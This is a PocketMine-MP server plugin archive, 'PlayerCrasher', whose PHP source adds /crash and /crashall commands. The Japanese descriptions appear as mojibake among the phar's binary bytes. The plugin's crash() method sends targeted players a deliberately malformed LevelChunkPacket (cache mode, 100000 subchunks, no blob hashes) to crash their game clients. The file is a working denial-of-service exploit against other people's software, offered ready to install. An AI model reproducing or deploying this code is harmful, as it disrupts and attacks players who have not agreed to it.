
<?php
echo "PocketMine-MP plugin PlayerCrasher v1.1
This file has been generated using DevTools v1.14.0 at Mon, 27 Jul 2020 18:25:38 +0800
----------------
";

if(extension_loaded("phar")){
	$phar = new \Phar(__FILE__);
	foreach($phar->getMetadata() as $key => $value){
		echo ucfirst($key) . ": " . (is_array($value) ? implode(", ", $value) : $value) . "\n";
	}
}

__HALT_COMPILER(); ?>
Õ             `  a:9:{s:4:"name";s:13:"PlayerCrasher";s:7:"version";d:1.1;s:4:"main";s:25:"PlayerCrasher\PlayerCrash";s:3:"api";s:5:"3.0.0";s:6:"depend";s:0:"";s:11:"description";s:105:"æŒ‡å®šã®ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã¾ãŸã¯ã™ã¹ã¦ã®ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã—ã¾ã™";s:7:"authors";s:0:"";s:7:"website";s:0:"";s:12:"creationDate";i:1595845538;}
   plugin.ymlþ  ¢«_þ  b’W ¶      !   src/PlayerCrasher/PlayerCrash.phpD  ¢«_D  Óv‹›¶      name: PlayerCrasher
version: 1.1
author: masabun
api: 3.0.0
main: PlayerCrasher\PlayerCrash
description: æŒ‡å®šã®ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã¾ãŸã¯ã™ã¹ã¦ã®ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã—ã¾ã™
commands:
  crash:
    description: æŒ‡å®šã—ãŸãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã—ã¾ã™
    usage: /crash <playername>
    permission: playercrasher.crash
  crashall:
    description: å…¨ã¦ã®ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã—ã¾ã™
    usage: /crashall
    permission: playercrasher.crashall
<?php

namespace PlayerCrasher;

use pocketmine\command\Command;
use pocketmine\command\CommandSender;
use pocketmine\network\mcpe\protocol\LevelChunkPacket;
use pocketmine\Player;
use pocketmine\plugin\PluginBase;

class PlayerCrash extends PluginBase {
    public function onEnable() {
        $this->getLogger()->info("PlayerCrasherã‚’æœ‰åŠ¹ã«ã—ã¾ã—ãŸ");
    }

    public function onCommand(CommandSender $sender, Command $command, string $label, array $args): bool {
        if($command->getName() == "crash"){
            if(isset($args[0])){
                $player = $this->getServer()->getPlayer($args[0]);
                if($player){
                    $this->crash($player);
                    $sender->sendMessage("ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ã‚’ã‚¯ãƒ©ãƒƒã‚·ãƒ¥ã—ã¾ã—ãŸ");
                }else{
                    $sender->sendMessage("ãƒ—ãƒ¬ã‚¤ãƒ¤ãƒ¼ãŒã¿ã¤ã‹ã‚Šã¾ã›ã‚“");
                }
            }else{
                $sender->sendMessage($command->getUsage());
            }
            return true;
        }elseif($command->getName() == "crashall"){
            $players = $this->getServer()->getOnlinePlayers();
            foreach ($players as $p){
                if ($p !== $sender){
                    $this->crash($p);
                }
            }
            return true;
        }
        return false;
    }

    public function crash(Player $player):void{
        $chunk = $player->getLevel()->getChunkAtPosition($player);
        $pk = LevelChunkPacket::withCache($chunk->getX(), $chunk->getZ(), 100000, [], "");
        $player->sendDataPacket($pk);
    }
}
=÷ìh>aÌ+§ÎhWgÁ™   GBMB